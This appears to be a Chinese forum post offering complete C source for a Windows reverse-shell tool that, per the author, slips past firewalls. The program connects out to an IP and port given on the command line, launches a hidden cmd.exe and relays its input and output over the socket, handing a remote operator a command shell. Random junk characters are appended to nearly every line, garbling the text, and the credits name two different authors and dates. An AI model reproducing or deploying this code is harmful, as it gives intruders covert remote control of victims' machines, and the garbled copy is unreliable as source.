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Windows下端口反弹

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这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。  pFGK-J  
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/* ============================== 3KfZI&g  
Rebound port in Windows NT -,et. *  
By wind,2006/7 (j+C&*u  
===============================*/ 7ju7QyR  
#include Gu<3*@Ng  
#include 0b=OK0n!%  
yE-&TW_q:>  
#pragma comment(lib,"wsock32.lib") >/EmC3?b!  
_h7+.U=  
void OutputShell(); dZRz'd  
SOCKET sClient; f 5_n2  
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; L._I"g5 H9  
J /'woc  
void main(int argc,char **argv) q,2]]K7y  
{ `|i #)  
WSADATA stWsaData; ` &|Rs  
int nRet; z?h\7 R  
SOCKADDR_IN stSaiClient,stSaiServer; J}TS-j0  
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if(argc != 3) ^v3ytS  
{ )ye[R^!}  
printf("Useage:\n\rRebound DestIP DestPort\n");  ^DVr>u  
return; GdR>S('  
} 9'Y~! vY  
{J%hTjCw  
WSAStartup(MAKEWORD(2,2),&stWsaData); /Yc!m$uCW  
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sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); R,/?p  
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stSaiClient.sin_family = AF_INET; =lS~2C  
stSaiClient.sin_port = htons(0); 0[xum  
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); bP6QF1L  
4>{q("r,  
if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) n<kcK  
{ t</rvAH E  
printf("Bind Socket Failed!\n"); Rs{L  
return; OqY8\>f-  
} gCgMmD=AZ  
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stSaiServer.sin_family = AF_INET; >c\'4M8Cz  
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); i=reJ(y-  
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); ]~87v  
Us M|OH5k  
if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) D<#+ R"  
{ `.Y["f 1B  
printf("Connect Error!"); Mvrc[s+o  
return; F^IYx~:  
} C!B2 .:ja  
OutputShell(); -Uq I=#  
} 9]VUQl9gh  
> z h  
void OutputShell() ]o_Z3xXUa  
{ ;) 5d wq  
char szBuff[1024]; hv}rA,Yd  
SECURITY_ATTRIBUTES stSecurityAttributes; #wNksh/J^  
OSVERSIONINFO stOsversionInfo; q*Yh_IT.I  
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; /P5w}n  
STARTUPINFO stStartupInfo; a =*(>=  
char *szShell; NUEy0pLw  
PROCESS_INFORMATION stProcessInformation; OTL=(k  
unsigned long lBytesRead; {~k /xM.-  
bec n$R  
stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); $f*N  
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stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES);  ]P(:z  
stSecurityAttributes.lpSecurityDescriptor = 0; 3) zanoYHi  
stSecurityAttributes.bInheritHandle = TRUE; ^u:7U4  
['sj'3cW-  
qWHH% L;  
CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); Va\dMv-b  
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); qWGnIPk  
n(/(F `  
ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); V z8o  
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; 5 1@V""m  
stStartupInfo.wShowWindow = SW_HIDE; |J'@-*5?[8  
stStartupInfo.hStdInput = hReadPipe; 05LVfgJ'q  
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; Cv>|>Ob#  
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GetVersionEx(&stOsversionInfo); ?&_ -,\t  
CK 3]]{  
switch(stOsversionInfo.dwPlatformId) Ji :2P*  
{  VD;Ot<%  
case 1: [95(%&k.Q  
szShell = "command.com"; PSI5$Vna4p  
break; wRgmw 4  
default: rBkLwJ]  
szShell = "cmd.exe"; \s<{V7tq  
break; 2w'Q9&1~  
} _:Tjq)  
M3odyO(  
CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); BZ">N  
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send(sClient,szMsg,77,0); sk\U[#ohH  
while(1) '~VKH}b  
{ %UI.E=`n  
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); Lz2wOB1Zc+  
if(lBytesRead) '+?AaR&p?  
{ ?!U=S=8  
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); }BKEz[G(  
send(sClient,szBuff,lBytesRead,0); u&/q7EBfP  
} l{>fma]7  
else Uy5IvG;O+  
{ /WRS6n  
lBytesRead=recv(sClient,szBuff,1024,0); 2BXpk^d5y  
if(lBytesRead<=0) break; r )ZUeHt}w  
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); }Xr-xh \v  
} `$ZX]6G  
} Y|_ #yb  
^&zwO7cS  
return; ,G!M?@Q  
}
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